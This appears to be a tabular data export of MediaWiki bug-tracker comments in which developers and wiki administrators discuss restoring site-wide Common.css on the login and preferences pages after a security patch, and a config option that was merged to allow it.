[1] https://www.mediawiki.org/wiki/Manual:$wgAllowSiteCSSOnRestrictedPages",,,1415623244,,PHID-USER-37d2msujvpp2rippbzoq,False,,,PHID-TASK-o6thfwgsk54xnsmig6b5,task_subcomment,,True,c3,1,False,,,-34,True,2.0,0.0,2.0,2.0,0.0,7.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,10.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,7.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,2.0,12.0,3.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,8.0,3.0,5.0,14.0,0.0,0.0,2.0,0.0,2.0,0.0,7.0,0.0,3.0,10.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,5.0,0.0,0.0,5.0,3.7966101694915255,0.7288135593220338,"I believe that this is great news and having a configuration setting for this [1] is great and very much acceptable. Thanks a ton for making this possible!

Since this went to master I think this change should be backported to the 1.19, 1.23 and 1.24 branches.


[1] URL"
321370,Not loading site CSS on Special:UserLogin/Preferences breaks wikis which use it to create a skin/theme,"**gerritadmin** wrote:

Change 165979 merged by jenkins-bot:
Make allowing site-wide styles on restricted special pages a config option

https://gerrit.wikimedia.org/r/165979",,,1415569861,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-o6thfwgsk54xnsmig6b5,task_subcomment,,True,c3,1,False,,,-34,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,9.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,6.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,4.125,0.8125,"**gerritadmin** wrote:

Change 165979 merged by jenkins-bot:
Make allowing site-wide styles on restricted special pages a config option

GERRIT_URL"
321366,Not loading site CSS on Special:UserLogin/Preferences breaks wikis which use it to create a skin/theme,"Kunal's fix here makes sense to me.  Perhaps the ideal would be that everyone who sets up a wiki has full time developers available to help style their site, but the fact is that CSS and JS are known and used by amateurs to produce the effects they want.  Restricting that ability causes problems for end users.

As far as security, it makes sense to keep user js/css off these pages, but MediaWiki: namespaced js/css should be available and is, by default, more tightly controlled.

Since the problem that is solved here is visible on WikiApiary, I'm going to ask Jamie Thingelstad to test the patch there and merge it if it solves the problem.",,,1414683622,,PHID-USER-ogbcrxm45oo3n3xe5q25,False,,,PHID-TASK-o6thfwgsk54xnsmig6b5,task_subcomment,,True,c3,1,False,,,-35,True,0.0,0.5,0.0,1.0,0.0,2.5,2.5,0.0,0.0,0.5,1.0,0.5,0.0,0.0,0.0,1.0,0.5,5.0,10.5,0.5,3.0,0.5,0.5,0.0,0.0,1.0,0.0,0.5,0.0,0.5,0.0,8.0,1.5,2.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,1.0,0.0,1.0,0.5,1.5,0.0,0.5,0.0,13.0,0.0,2.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,4.0,4.5,7.5,2.5,3.5,5.5,0.0,0.0,0.0,0.0,5.5,0.0,0.0,0.0,4.5,10.5,6.5,0.0,0.0,0.0,4.5,0.0,1.0,0.5,0.5,1.0,0.5,0.0,0.0,3.890132139812447,0.7951832907075874,"Kunal's fix here makes sense to me.  Perhaps the ideal would be that everyone who sets up a wiki has full time developers available to help style their site, but the fact is that CSS and JS are known and used by amateurs to produce the effects they want.  Restricting that ability causes problems for end users.

As far as security, it makes sense to keep user js/css off these pages, but MediaWiki: namespaced js/css should be available and is, by default, more tightly controlled.

Since the problem that is solved here is visible on WikiApiary, I'm going to ask Jamie Thingelstad to test the patch there and merge it if it solves the problem."
321362,Not loading site CSS on Special:UserLogin/Preferences breaks wikis which use it to create a skin/theme,"Is there no really easier way to suppress disasbling MediaWiki NS CSS when Special:Preferences is loaded?

Only I can edit the MW NS. I see no risk...",,,1414619295,,PHID-USER-qjb2hbe663dhrrpskylp,False,,,PHID-TASK-o6thfwgsk54xnsmig6b5,task_subcomment,,True,c3,1,False,,,-36,True,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,6.0,3.0,9.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,9.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,6.0,33.0,3.0,0.0,9.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,3.0,15.0,3.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,3.0,3.0,0.0,0.0,3.787878787878788,0.9090909090909091,"Is there no really easier way to suppress disasbling MediaWiki NS CSS when Special:Preferences is loaded?

Only I can edit the MW NS. I see no risk..."
321358,Not loading site CSS on Special:UserLogin/Preferences breaks wikis which use it to create a skin/theme,"For the record, these last few comments were mostly to provide more context, data and factor of influence. I don't feel it's appropriate for me to make a decision about this.",,,1413987569,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-o6thfwgsk54xnsmig6b5,task_subcomment,,True,c3,1,True,,,-37,True,3.0,0.0,0.0,0.0,3.0,11.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,5.0,0.0,5.0,16.0,0.0,5.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,14.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,5.0,3.0,5.0,0.0,3.0,11.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,16.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,3.891891891891892,0.918918918918919,"For the record, these last few comments were mostly to provide more context, data and factor of influence. I don't feel it's appropriate for me to make a decision about this."
321352,Not loading site CSS on Special:UserLogin/Preferences breaks wikis which use it to create a skin/theme,"(In reply to Krinkle from comment #9)
> (In reply to Kunal Mehta (Legoktm) from comment #7)
> > (In reply to Krinkle from comment #5)
> > > This would result in loading only part of a module, which is in my opinion
> > > against expectations.
> > 
> > We already serve only the CSS of the module to no-JS users, so it's not
> > totally against expectations.
> > 
> 
> No we don't. Only for exceptional modules that are designed specifically to
> be a base module without javascript, loaded explicitly via addModuleStyles,
> thus bypassing ResourceLoader. If you're loading a regular module containing
> javascript files via addModuleStyles, you're doing it wrong. It doesn't
> throw an exception for that right now, but we should if that helps.
> 
> When writing css rules in a stylesheet loaded by ResourceLoader one should
> be able to assume javascript execution alongside of it.
> 

For the 'site' module you are absolutely right of course. In general a module is either executed regularly (addModules/mw.loader.load) or styles only (e.g. Vector skin; addModuleStyles/load.php only=styles). In case of the 'site' wiki-page module, it is loaded with both addModuleStyles and addModuleScripts separately because the scripts have to execute in the global javascript context for legacy reasons, and Common.css historically is both the companion of Common.js as well as the standalone stylesheet for wiki content (e.g. infobox, or fallback styles for collapsible elements).",,,1413987488,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-o6thfwgsk54xnsmig6b5,task_subcomment,,True,c3,1,True,,,-37,True,0.0,0.0,0.5,0.5,0.0,5.5,1.0,0.5,0.0,0.0,4.5,2.5,0.0,1.0,0.0,0.0,0.0,5.0,10.0,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,3.0,0.5,0.5,1.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,15.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.5,13.5,0.5,3.5,5.0,0.0,0.0,0.0,0.5,0.5,0.0,1.0,0.0,1.0,10.0,13.0,0.0,2.5,0.0,1.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,4.159007659007659,0.6202131202131203,"(In reply to Krinkle from comment #9)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

For the 'site' module you are absolutely right of course. In general a module is either executed regularly (addModules/mw.loader.load) or styles only (e.g. Vector skin; addModuleStyles/load.php only=styles). In case of the 'site' wiki-page module, it is loaded with both addModuleStyles and addModuleScripts separately because the scripts have to execute in the global javascript context for legacy reasons, and Common.css historically is both the companion of Common.js as well as the standalone stylesheet for wiki content (e.g. infobox, or fallback styles for collapsible elements)."
321345,Not loading site CSS on Special:UserLogin/Preferences breaks wikis which use it to create a skin/theme,The main issue is that it is such a long standing feature that breaking it in security patch without notification to end users is not acceptable.  Then dragging along not issuing a recall on the patch or providing a corrected patch is also not acceptable.,,,1413986814,,PHID-USER-x6bqmsddkjigelco4gwe,False,,,PHID-TASK-o6thfwgsk54xnsmig6b5,task_subcomment,,True,c3,1,False,,,-37,True,0.0,0.0,0.0,0.0,6.0,8.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,12.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,15.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,10.0,8.0,4.0,2.0,2.0,12.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,6.0,0.0,10.0,0.0,0.0,0.0,4.395833333333333,0.7291666666666666,The main issue is that it is such a long standing feature that breaking it in security patch without notification to end users is not acceptable.  Then dragging along not issuing a recall on the patch or providing a corrected patch is also not acceptable.
321341,Not loading site CSS on Special:UserLogin/Preferences breaks wikis which use it to create a skin/theme,"(In reply to Kunal Mehta (Legoktm) from comment #7)
> (In reply to Krinkle from comment #5)
> > This would result in loading only part of a module, which is in my opinion
> > against expectations.
> 
> We already serve only the CSS of the module to no-JS users, so it's not
> totally against expectations.
> 

No we don't. Only for exceptional modules that are designed specifically to be a base module without javascript, loaded explicitly via addModuleStyles, thus bypassing ResourceLoader. If you're loading a regular module containing javascript files via addModuleStyles, you're doing it wrong. It doesn't throw an exception for that right now, but we should if that helps.

When writing css rules in a stylesheet loaded by ResourceLoader one should be able to assume javascript execution alongside of it.

(In reply to Kunal Mehta (Legoktm) from comment #7)
> Those might be reasonable changes for the future, but I don't think it's
> okay to do such a major change without proper notice/release notes, and
> definitely not appropriate to do in a security patch.

I agree. But on the other hand one could also argue we never supported this in the first place. The community never asked to make usability and design decisions for the software interface. And contrary to the usual case, it's actually smaller wikis that do this, not the larger language editions of Wikipedia. Which I suspect might be due to lack of peer review and a wider audience to notice the (possibly negative) impact of a such a change.

I'm not arguing that though. It's been too years since Common.css was added and these wikis started doing it to take it back now. Should the community ask for a feature if there's an existing exploit they can use to emulate a requested feature? (e.g. if Common.css was limited to content area and content pages, this would never be possible and we'd have to consider it as an actual feature, which we probably wouldn't allow for good reasons on WMF. The intent to improve the interface is completely valid however and we'd actively help those wikis improve their interface from the software perspective instead, it's merely about the implementation details here, not about the actual visual changes to interface).",,,1413984833,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-o6thfwgsk54xnsmig6b5,task_subcomment,,True,c3,1,True,,,-37,True,0.0,0.0,0.25,0.75,1.5,5.75,1.25,0.0,0.25,1.0,2.25,2.0,0.0,0.5,0.25,2.25,0.25,8.5,11.5,0.0,2.0,0.75,0.25,0.25,1.25,0.5,0.0,0.25,0.75,1.0,0.25,3.75,1.25,2.25,2.25,0.5,0.0,0.5,0.0,1.5,0.0,0.5,0.5,2.5,0.0,0.75,0.0,0.5,0.25,12.25,0.75,1.0,0.0,0.25,0.0,0.25,0.0,0.0,1.0,0.0,0.75,1.5,0.0,0.5,0.0,0.5,0.0,6.25,2.25,9.75,1.75,2.25,8.5,0.0,0.0,0.0,0.5,5.0,0.25,0.5,0.0,6.25,11.5,5.0,0.25,0.0,0.0,6.25,0.0,1.25,2.75,0.0,2.0,0.75,0.0,0.0,4.184782608695652,0.7336956521739131,"(In reply to Kunal Mehta (Legoktm) from comment #7)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

No we don't. Only for exceptional modules that are designed specifically to be a base module without javascript, loaded explicitly via addModuleStyles, thus bypassing ResourceLoader. If you're loading a regular module containing javascript files via addModuleStyles, you're doing it wrong. It doesn't throw an exception for that right now, but we should if that helps.

When writing css rules in a stylesheet loaded by ResourceLoader one should be able to assume javascript execution alongside of it.

(In reply to Kunal Mehta (Legoktm) from comment #7)
QUOTE
QUOTE
QUOTE

I agree. But on the other hand one could also argue we never supported this in the first place. The community never asked to make usability and design decisions for the software interface. And contrary to the usual case, it's actually smaller wikis that do this, not the larger language editions of Wikipedia. Which I suspect might be due to lack of peer review and a wider audience to notice the (possibly negative) impact of a such a change.

I'm not arguing that though. It's been too years since Common.css was added and these wikis started doing it to take it back now. Should the community ask for a feature if there's an existing exploit they can use to emulate a requested feature? (e.g. if Common.css was limited to content area and content pages, this would never be possible and we'd have to consider it as an actual feature, which we probably wouldn't allow for good reasons on WMF. The intent to improve the interface is completely valid however and we'd actively help those wikis improve their interface from the software perspective instead, it's merely about the implementation details here, not about the actual visual changes to interface)."
321334,Not loading site CSS on Special:UserLogin/Preferences breaks wikis which use it to create a skin/theme,"So what's next? How do we get all the affected wikis out of their current misery? This bug should not be a back-burner thing as it looks like at the moment.

I think the MW software should allow wikis to adapt the overall appearance without having to use a custom skin. So far the easiest way was to use Common.css/js etc. which is no longer working for integral pages such as the login and preferences.

I think the proposed change tries to address this issue. Another possibility may probably be an extension that allows placing custom CSS- and/or JS-file(s) on the server which is then packed into a resource loader module loaded by the extension. This may perhaps also be a setting in MW core which allows to point to the respective file(s) and then does the same job. Perhaps there are other ways.",,,1413982256,,PHID-USER-37d2msujvpp2rippbzoq,False,,,PHID-TASK-o6thfwgsk54xnsmig6b5,task_subcomment,,True,c3,1,False,,,-37,True,0.5,0.0,0.0,0.5,0.5,5.5,2.5,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.5,1.5,0.0,6.5,10.0,0.0,2.5,1.0,0.0,0.0,0.5,0.5,0.0,0.5,1.0,0.0,0.0,7.0,1.0,0.5,0.0,0.0,0.0,0.0,0.0,2.5,0.0,0.5,0.0,2.5,0.0,0.0,0.0,0.5,0.0,14.0,0.5,1.0,0.5,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.5,2.5,0.0,0.5,0.0,2.0,0.0,9.0,4.0,8.0,0.5,2.0,14.0,0.0,0.0,0.0,0.0,5.5,0.0,0.0,0.0,2.5,10.0,3.5,1.0,0.0,0.0,2.5,0.0,3.5,3.0,0.0,1.5,0.5,0.5,1.5,4.0565341764528755,0.7789822342667871,"So what's next? How do we get all the affected wikis out of their current misery? This bug should not be a back-burner thing as it looks like at the moment.

I think the MW software should allow wikis to adapt the overall appearance without having to use a custom skin. So far the easiest way was to use Common.css/js etc. which is no longer working for integral pages such as the login and preferences.

I think the proposed change tries to address this issue. Another possibility may probably be an extension that allows placing custom CSS- and/or JS-file(s) on the server which is then packed into a resource loader module loaded by the extension. This may perhaps also be a setting in MW core which allows to point to the respective file(s) and then does the same job. Perhaps there are other ways."
321329,Not loading site CSS on Special:UserLogin/Preferences breaks wikis which use it to create a skin/theme,"(In reply to Krinkle from comment #5)
> This would result in loading only part of a module, which is in my opinion
> against expectations.

We already serve only the CSS of the module to no-JS users, so it's not totally against expectations.

> 
> I don't like escalating a relatively simple bug into a social problem, but I
> think this is one of those cases where that is appropriate.
> 
> Maybe we should discourage people from theming their wiki to this extreme
> via this method? Third parties should add a stylesheet via LocalSettings
> instead of Common.css.
> 
> This should be done by a developer instead (especially for third parties).

Part of the problem is that AFAIK there is no good/easy way to do that outside of a) writing your own skin (overkill in most cases), b) directly editing the skin stylesheets, which we really don't want people to do.

> 
> For Wikimedia sites, I'd like to think that, while it's kind of
> undocumented, that people really should not significantly change the site
> interface. Users should not be able to notice a difference outside the
> content area when the styles are not loaded.
> 
> That thing about people thinking it's a different site, that goes both ways.
> When they visit that different language edition, should that be allowed to
> look like a completely different website?
> 
> Main reason being that the software interface is provided by MediaWiki core.
> If there are problems there, they should be reported to the software and
> addressed accordingly. Things can be iterated and tried in gadgets, but for
> something so central to the software, it either shouldn't be done (e.g. bad
> idea), or should be done (good idea) and done in the software itself so that
> it may benefit a wider audience (and usually a higher quality result in
> terms of browser support, user experience, performance and maintainability).
> 
> Something as fundamental as the site font, for example. That's either a
> personal preference one could question whether it's responsible for users to
> override, or there's a technical reason (eg. their wiki's language doesn't
> render well in the font we choose by default) - in which case we shouldn't
> put that burden on them. By all means that is a high priority problem for
> the foundation and MediaWiki software to address.
> 
> There have also been proposals in the past to technically restrict the
> ability of MediaWiki:Common.css to affect anything outside page content, but
> that hasn't gotten anywhere. And I'm also not convinced that that'd be a
> good thing. There's plenty of grey area where it's technically outside the
> content area, but part of a larger customisation that doesn't interfere with
> the software interface.

Those might be reasonable changes for the future, but I don't think it's okay to do such a major change without proper notice/release notes, and definitely not appropriate to do in a security patch.",,,1413073104,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-o6thfwgsk54xnsmig6b5,task_subcomment,,True,c3,1,True,,,-38,True,0.0,0.0,0.3333333333333333,0.0,1.6666666666666667,3.6666666666666665,0.6666666666666666,0.0,0.0,0.0,1.0,0.6666666666666666,0.0,0.3333333333333333,0.3333333333333333,1.0,0.0,3.6666666666666665,7.0,0.0,1.6666666666666667,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,2.6666666666666665,1.3333333333333333,0.6666666666666666,1.0,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,9.333333333333334,0.3333333333333333,0.6666666666666666,0.0,1.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,1.6666666666666667,0.6666666666666666,0.0,0.3333333333333333,0.0,0.0,0.0,3.0,1.0,19.333333333333332,0.6666666666666666,1.0,5.333333333333333,0.0,0.0,0.0,0.3333333333333333,3.0,0.0,0.3333333333333333,0.0,2.3333333333333335,7.0,15.333333333333334,0.0,0.0,0.0,2.3333333333333335,0.0,0.3333333333333333,1.3333333333333333,0.0,0.6666666666666666,0.0,0.3333333333333333,0.3333333333333333,3.39382964453387,0.5446680080482897,"(In reply to Krinkle from comment #5)
QUOTE
QUOTE

We already serve only the CSS of the module to no-JS users, so it's not totally against expectations.

QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Part of the problem is that AFAIK there is no good/easy way to do that outside of a) writing your own skin (overkill in most cases), b) directly editing the skin stylesheets, which we really don't want people to do.

QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Those might be reasonable changes for the future, but I don't think it's okay to do such a major change without proper notice/release notes, and definitely not appropriate to do in a security patch."
321323,Not loading site CSS on Special:UserLogin/Preferences breaks wikis which use it to create a skin/theme,"(In reply to Krinkle from comment #5)
> Maybe we should discourage people from theming their wiki to this extreme
> via this method? Third parties should add a stylesheet via LocalSettings
> instead of Common.css.

People use Common.css and Skin.css to theme their wikis only because MediaWiki doesn't provide any proper way to do it on-wiki.
For a single site that you're running yourself, making or installing a custom skin is good. But for wiki farms where individual communities run wikis where they do not have FTP access, they need the theme to be editable on-wiki.",,,1413011612,,PHID-USER-ezpfr6e6bkesbgnfgicj,False,,,PHID-TASK-o6thfwgsk54xnsmig6b5,task_subcomment,,True,c3,1,False,,,-38,True,1.0,0.0,0.0,0.0,2.0,7.0,2.0,1.0,0.0,0.0,1.0,2.0,0.0,1.0,0.0,0.0,1.0,6.0,12.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,1.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,3.0,0.0,1.0,0.0,2.0,1.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,3.0,2.0,13.0,3.0,3.0,4.0,0.0,0.0,0.0,1.0,6.0,0.0,1.0,0.0,7.0,12.0,8.0,0.0,0.0,0.0,7.0,0.0,3.0,2.0,1.0,3.0,0.0,0.0,0.0,3.8666666666666667,0.7666666666666667,"(In reply to Krinkle from comment #5)
QUOTE
QUOTE
QUOTE

People use Common.css and Skin.css to theme their wikis only because MediaWiki doesn't provide any proper way to do it on-wiki.
For a single site that you're running yourself, making or installing a custom skin is good. But for wiki farms where individual communities run wikis where they do not have FTP access, they need the theme to be editable on-wiki."
321316,Not loading site CSS on Special:UserLogin/Preferences breaks wikis which use it to create a skin/theme,"This would result in loading only part of a module, which is in my opinion against expectations.

I don't like escalating a relatively simple bug into a social problem, but I think this is one of those cases where that is appropriate.

Maybe we should discourage people from theming their wiki to this extreme via this method? Third parties should add a stylesheet via LocalSettings instead of Common.css.

This should be done by a developer instead (especially for third parties).

For Wikimedia sites, I'd like to think that, while it's kind of undocumented, that people really should not significantly change the site interface. Users should not be able to notice a difference outside the content area when the styles are not loaded.

That thing about people thinking it's a different site, that goes both ways. When they visit that different language edition, should that be allowed to look like a completely different website?

Main reason being that the software interface is provided by MediaWiki core. If there are problems there, they should be reported to the software and addressed accordingly. Things can be iterated and tried in gadgets, but for something so central to the software, it either shouldn't be done (e.g. bad idea), or should be done (good idea) and done in the software itself so that it may benefit a wider audience (and usually a higher quality result in terms of browser support, user experience, performance and maintainability).

Something as fundamental as the site font, for example. That's either a personal preference one could question whether it's responsible for users to override, or there's a technical reason (eg. their wiki's language doesn't render well in the font we choose by default) - in which case we shouldn't put that burden on them. By all means that is a high priority problem for the foundation and MediaWiki software to address.

There have also been proposals in the past to technically restrict the ability of MediaWiki:Common.css to affect anything outside page content, but that hasn't gotten anywhere. And I'm also not convinced that that'd be a good thing. There's plenty of grey area where it's technically outside the content area, but part of a larger customisation that doesn't interfere with the software interface.",,,1412966691,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-o6thfwgsk54xnsmig6b5,task_subcomment,,True,c3,1,True,,,-38,True,0.2,0.6,0.2,1.6,2.0,4.8,1.2,0.0,0.0,0.2,2.6,1.8,0.0,0.2,0.8,1.6,0.2,7.6,12.0,0.6,1.4,2.0,0.4,0.0,0.2,0.4,0.2,0.6,0.6,0.6,0.4,5.0,1.4,1.4,0.4,0.0,0.0,0.2,0.2,0.2,0.0,1.0,0.0,1.6,0.4,0.4,0.0,0.4,0.2,15.6,2.0,1.8,0.2,0.4,0.2,0.0,0.0,0.4,0.6,0.0,0.8,2.2,0.2,0.8,0.6,0.4,0.0,6.0,3.4,5.8,2.8,2.8,9.4,0.0,0.0,0.0,0.0,5.4,0.0,0.2,0.0,4.2,12.0,1.6,0.4,0.0,0.0,4.2,0.0,1.8,3.0,0.4,0.8,0.6,0.0,0.0,4.300224719101124,0.706167290886392,"This would result in loading only part of a module, which is in my opinion against expectations.

I don't like escalating a relatively simple bug into a social problem, but I think this is one of those cases where that is appropriate.

Maybe we should discourage people from theming their wiki to this extreme via this method? Third parties should add a stylesheet via LocalSettings instead of Common.css.

This should be done by a developer instead (especially for third parties).

For Wikimedia sites, I'd like to think that, while it's kind of undocumented, that people really should not significantly change the site interface. Users should not be able to notice a difference outside the content area when the styles are not loaded.

That thing about people thinking it's a different site, that goes both ways. When they visit that different language edition, should that be allowed to look like a completely different website?

Main reason being that the software interface is provided by MediaWiki core. If there are problems there, they should be reported to the software and addressed accordingly. Things can be iterated and tried in gadgets, but for something so central to the software, it either shouldn't be done (e.g. bad idea), or should be done (good idea) and done in the software itself so that it may benefit a wider audience (and usually a higher quality result in terms of browser support, user experience, performance and maintainability).

Something as fundamental as the site font, for example. That's either a personal preference one could question whether it's responsible for users to override, or there's a technical reason (eg. their wiki's language doesn't render well in the font we choose by default) - in which case we shouldn't put that burden on them. By all means that is a high priority problem for the foundation and MediaWiki software to address.

There have also been proposals in the past to technically restrict the ability of MediaWiki:Common.css to affect anything outside page content, but that hasn't gotten anywhere. And I'm also not convinced that that'd be a good thing. There's plenty of grey area where it's technically outside the content area, but part of a larger customisation that doesn't interfere with the software interface."
321312,Not loading site CSS on Special:UserLogin/Preferences breaks wikis which use it to create a skin/theme,"**gerritadmin** wrote:

Change 165979 had a related patch set uploaded by Legoktm:
Re-enable site-wide styles on Special:Preferences/UserLogin

https://gerrit.wikimedia.org/r/165979",,,1412924450,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-o6thfwgsk54xnsmig6b5,task_subcomment,,True,c3,1,False,,,-38,True,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,20.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,9.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,4.0,0.8,"**gerritadmin** wrote:

Change 165979 had a related patch set uploaded by Legoktm:
Re-enable site-wide styles on Special:Preferences/UserLogin

GERRIT_URL"
321308,Not loading site CSS on Special:UserLogin/Preferences breaks wikis which use it to create a skin/theme,"Yes, this is needed on fa, ckb, arz, glk, mzn, ps, pnb. Why? Because all of these wikis are overriding default browser defined sans-serif font on their Common.css and it is needed their UI would be consistent on preference and eventually login/logout also.",,,1412439475,,PHID-USER-4cih6cceraaohis3ydcd,False,,,PHID-TASK-o6thfwgsk54xnsmig6b5,task_subcomment,,True,c3,1,False,,,-39,True,2.0,0.0,0.0,4.0,0.0,4.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,11.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,9.0,4.0,4.0,5.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,5.0,9.0,19.0,2.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.754385964912281,0.7719298245614035,"Yes, this is needed on fa, ckb, arz, glk, mzn, ps, pnb. Why? Because all of these wikis are overriding default browser defined sans-serif font on their Common.css and it is needed their UI would be consistent on preference and eventually login/logout also."
